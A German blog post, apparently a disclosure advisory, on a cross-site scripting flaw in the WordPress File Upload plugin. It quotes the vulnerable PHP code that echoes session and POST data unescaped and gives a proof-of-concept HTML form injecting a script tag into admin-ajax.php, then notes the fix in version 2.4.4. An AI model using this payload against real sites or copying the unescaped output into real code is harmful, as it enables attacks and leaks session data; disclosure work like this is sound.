Bug in WordPress File Upload Plugin erlaubt XSS

Manchmal kann bereits das Bereitstellen von Fehlerinformationen zu viel des Guten sein - so zum Beispiel beim WordPress File Upload.

Dieses bietet Nutzern - wie der Name schon sagt - die Möglichkeit, Dateien hochzuladen. Dafür kommt AJAX zum Einsatz. In der Datei "./lib/wfu_ajaxactions.php" werden dazu die entsprechenden Handler bereitgestellt. Sollte etwas fehlgeschlagen (zum Beispiel die Session-Prüfung) bekommt der Nutzer nützliche Informationen als Rückantwort. Dies sah bisher so aus:

1
2
3
4
5
6
7
if ( $_SESSION["wfu_token_".$arr['shortcode_id']] != $_POST['session_token'] ) {
     echo "Session failed!<br/><br/>Session Data:<br/>";
     print_r($_SESSION);
     echo "<br/><br/>Post Data:<br/>";
     print_r($_POST);
     die();
}

Das ist jedoch ziemlich problematisch, denn "print_r()" escaped Ausgaben nicht. Es ist also möglich, mit einem präparierten POST-Request beliebige Texte ausgeben zu lassen. Das ganze lässt sich zum Beispiel mit einem einfachen HTML-Formular realisieren:

1
2
3
4
5
<form action="http://example.com/wp-admin/admin-ajax.php" method="POST">
  <input type="hidden" name="action" value="wfu_ajax_action" />
  <input type="hidden" name="session_token" value="<script>alert(1+1);</script>" />
  <input type="submit" />
</form>

In der nun veröffentlichten Version 2.4.4 ist das Problem beseitigt worden. Es ist daher anzuraten, das Plugin so schnell wie möglich upzudaten.

Präparierte Grüße, Kenny

Schreibe einen Kommentar

Um Ihnen beim weiteren Kommentieren auf dieser Webseite die erneute Eingabe Ihrer Daten zu ersparen, wird beim Absenden Ihres Kommentars ein Cookie an Ihren Browser gesendet und von diesem gespeichert. Mit dem Absenden eines Kommentars auf dieser Webseite stimmen Sie der Speicherung und Übertragung dieses Cookies explizit zu.

Pflichtfelder sind mit * markiert.